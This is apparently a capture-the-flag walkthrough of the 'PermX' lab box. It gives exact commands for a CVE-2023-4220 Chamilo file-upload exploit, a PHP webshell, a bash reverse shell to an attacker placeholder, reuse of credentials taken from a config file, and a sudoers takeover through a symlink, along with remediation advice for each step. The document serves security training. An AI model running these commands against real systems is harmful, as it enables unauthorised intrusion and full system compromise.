← all walkthroughs

PermX

Linux· Easy· Web
owned
2026-07-06
time to own
6m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target, discovered an Apache web server hosting a Chamilo learning-management system on a virtual host, and exploited an unauthenticated arbitrary file-upload vulnerability (CVE-2023-4220) to install a PHP webshell and achieve remote code execution as the web server user. The Chamilo database configuration file stored a plaintext password that the OS account 'mtz' had reused for SSH login, granting an interactive shell.

Once logged in as mtz, a sudo rule permitted running a custom access-control script (/opt/acl.sh) as root on any caller-supplied file path; by replacing the target file with a symbolic link to /etc/sudoers, I tricked the script into granting mtz write access to the real sudoers file, into which a passwordless-sudo rule was appended — giving me a root shell and full control of the system.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"

Attack path — how the box was taken

1EnumerationService enumeration and virtual-host discovery
Scanned the host and discovered the Chamilo LMS virtual host
A port scan revealed two services: SSH on port 22 and Apache 2.4.52 on port 80. The HTTP response redirected to the virtual host lms.permx.htb. Adding that hostname to the local resolver and browsing to it exposed a Chamilo learning-management system; the response header 'X-Powered-By: Chamilo 1' confirmed the application and its major version without requiring any authentication.
HTTP/1.1 200 OK … Server: Apache/2.4.52 (Ubuntu) … X-Powered-By: Chamilo 1
Exact commands 3
shell

Identify open ports and service banners.

$ nmap -sV -sC -p 22,80 $TARGET
shell

Register the discovered virtual hostnames for local DNS resolution.

$ echo "$TARGET permx.htb lms.permx.htb" | sudo tee -a /etc/hosts
shell

Confirm the Chamilo application and capture the X-Powered-By version header.

$ curl -si http://lms.permx.htb/ | head -30
2ExploitationUnauthenticated arbitrary file upload — CVE-2023-4220
Uploaded a PHP webshell through the unauthenticated Chamilo file-upload endpoint (CVE-2023-4220)
Chamilo 1.x contains CVE-2023-4220: the bigUpload endpoint at /main/inc/lib/javascript/bigupload/inc/bigUpload.php accepts arbitrary files — including executable scripts — without requiring a login when the 'action=post-unsupported' parameter is supplied. I created a single-line PHP webshell and uploaded it via a multipart POST. The server responded 'The file has successfully been uploaded', placing the file in the publicly accessible directory /main/inc/lib/javascript/bigupload/files/.
Bigupload:200 / "The file has successfully been uploaded."
Exact commands 2
shell

Create a minimal PHP webshell on my machine.

$ printf '<?php system($_GET["c"]); ?>' > /tmp/rce.php
shell

Upload the webshell with no credentials; expect 'successfully been uploaded' in the response.

$ curl -s --resolve lms.permx.htb:80:$TARGET -F 'bigUploadFile=@/tmp/rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
FixPatch Chamilo to eliminate the unauthenticated file-upload endpoint (CVE-2023-4220)Critical
WeaknessThe Chamilo bigUpload endpoint accepted PHP scripts and any other file type from anonymous internet users. This gave an unauthorised user a single HTTP request path from zero access to full server-side code execution.
FixUpgrade Chamilo LMS to version 1.11.24 or later, which removes the unauthenticated upload path. If an immediate upgrade is not possible, apply the following temporary mitigations in parallel: (1) add 'Require valid-user' to the /main/inc/lib/javascript/bigupload/ location block in Apache so the endpoint demands a session before accepting data; (2) add a .htaccess file to the /bigupload/files/ directory containing 'php_flag engine off' and 'Options -ExecCGI' to prevent execution of any file already stored there; (3) consider a WAF rule to block POST requests to the bigUpload path from unauthenticated sources.
3FootholdWeb shell execution / OS command injection (T1059.004)
Triggered the webshell to obtain a reverse shell as www-data
Requesting the uploaded file with a 'c' query parameter caused the server to execute arbitrary OS commands as the Apache process user www-data (uid=33). I opened a netcat listener and issued a bash reverse-shell command through the webshell, receiving an interactive connection from the target on port 4444.
---ID--- uid=33(www-data) gid=33(www-data) groups=33(www-data); connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET] 46524
Exact commands 3
shell

Open a listener on my machine before triggering the shell.

$ nc -lvnp 4444
shell

Verify the webshell executes as www-data before launching the reverse shell.

$ curl -s --resolve lms.permx.htb:80:$TARGET 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?c=id'
shell

Trigger the bash reverse shell back to the listener.

$ curl -s --resolve lms.permx.htb:80:$TARGET --get --data-urlencode "c=bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'
4Credential AccessCredentials in configuration files (T1552.001)
Read a plaintext database password from the Chamilo configuration file
Chamilo stores its database connection string in a PHP file inside the application root at /var/www/chamilo/app/config/configuration.php. The web server user www-data had read access to this file. Grepping it for password-related keys returned the plaintext credential. Listing interactive OS accounts from /etc/passwd identified 'mtz' as a candidate for credential reuse.
Exact commands 2
shell

Run from the www-data reverse shell to extract the plaintext DB password.

$ grep -i 'password' /var/www/chamilo/app/config/configuration.php
shell

List OS accounts that can log in interactively to identify reuse targets.

$ grep -vE '(nologin|false)' /etc/passwd
FixEliminate plaintext credentials in configuration files and prohibit OS password reuseHigh
WeaknessThe Chamilo database password was stored in a plaintext PHP file readable by the web-server process, and the same password was set on the OS account 'mtz' for SSH. Once an unauthorised user read the file as www-data they had instant, authenticated access to an interactive OS account with no additional effort.
Fix(1) Move database credentials out of the PHP file and into environment variables or a secrets manager, then restrict the configuration file's permissions to 640 with ownership root:www-data so only the web process can read it. (2) Enforce a policy that no application-layer credential (database, API key) may match any OS user's password — a password manager enforces this automatically. (3) Disable password-based SSH authentication server-wide by setting 'PasswordAuthentication no' and 'ChallengeResponseAuthentication no' in /etc/ssh/sshd_config, and require key-based login only. (4) Rotate the mtz account password immediately.
5Lateral MovementValid accounts — credential reuse (T1078)
Logged in over SSH as mtz using the reused database password
The Chamilo database password matched the SSH password for the local account 'mtz', granting me an authenticated, fully interactive shell as a regular user. The user flag was readable in mtz's home directory.
Sshpass -p <withheld> ssh … mtz@$TARGET 'id; cat /home/mtz/user.txt' → <user.txt>
Exact commands 2
shell

Authenticate over SSH with the credential recovered from the Chamilo config file.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no mtz@$TARGET
shell

Read the user flag: <user.txt>.

$ cat /home/mtz/user.txt
6Privilege EscalationSudo misconfiguration — symlink-based ACL injection (T1548.003)
Abused sudo /opt/acl.sh to grant mtz write access to /etc/sudoers via a symbolic link
Running 'sudo -l' as mtz revealed the rule '(ALL) NOPASSWD: /opt/acl.sh'. The script calls setfacl to apply a POSIX ACL to a caller-supplied file path but does not resolve symbolic links before operating on it. I created a symlink at /home/mtz/sudoers pointing to /etc/sudoers, then invoked 'sudo /opt/acl.sh mtz rw /home/mtz/sudoers'. Because setfacl followed the symlink to the real file, root granted mtz read-write POSIX ACL access directly on /etc/sudoers.
Sudo /opt/acl.sh mtz rw /home/mtz/sudoers succeeded.
Exact commands 3
shell

Confirm the unrestricted NOPASSWD /opt/acl.sh sudo rule as mtz.

$ sudo -l
shell

Create the symlink that will trick the script into operating on /etc/sudoers.

$ rm -f /home/mtz/sudoers && ln -s /etc/sudoers /home/mtz/sudoers
shell

Script calls setfacl on the symlink target, granting mtz rw ACL on the real /etc/sudoers.

$ sudo /opt/acl.sh mtz rw /home/mtz/sudoers
FixRemove or harden the sudo rule for /opt/acl.sh to prevent symlink-based privilege escalationCritical
WeaknessThe sudo policy granted mtz the ability to run /opt/acl.sh as root against any path it was given. The script did not resolve symbolic links before calling setfacl, so pointing it at a symlink to /etc/sudoers caused root to grant mtz write access to the real sudoers file — giving mtz a direct path to full root privilege.
Fix(1) Remove the /opt/acl.sh sudo rule entirely if the script has no standing operational use. (2) If the rule must remain, rewrite the script to resolve the supplied path with realpath, reject it if test -L confirms it is a symlink, and validate that the resolved absolute path falls within an explicit allowlist such as /home/mtz/ before calling setfacl. (3) Narrow the sudo entry to accept only that allowlisted path prefix: 'NOPASSWD: /opt/acl.sh mtz * /home/mtz/*' so arbitrary system paths cannot be targeted. (4) Audit all other sudo rules on the host for similarly unrestricted path arguments.
7Full CompromiseSudoers modification for persistent privilege (T1548.003)
Wrote a passwordless sudo rule and executed commands as root
With write access to /etc/sudoers granted via the POSIX ACL, I appended the rule 'mtz ALL=(ALL) NOPASSWD: ALL' through the symlink. A subsequent sudo invocation returned a root shell, and the root flag was read — the system was fully compromised.
Sudo /bin/bash -c 'id; cat /root/root.txt' → uid=0(root) gid=0(root); <root.txt>
Exact commands 3
shell

Appending to the symlink writes to /etc/sudoers because mtz now holds ACL write on the target.

$ printf 'mtz ALL=(ALL) NOPASSWD: ALL\n' >> /home/mtz/sudoers
shell

Open a root shell — no password required after the sudoers change.

$ sudo /bin/bash
shell

Read the root flag: <root.txt>.

$ cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Exposed services

22/tcp
80/tcp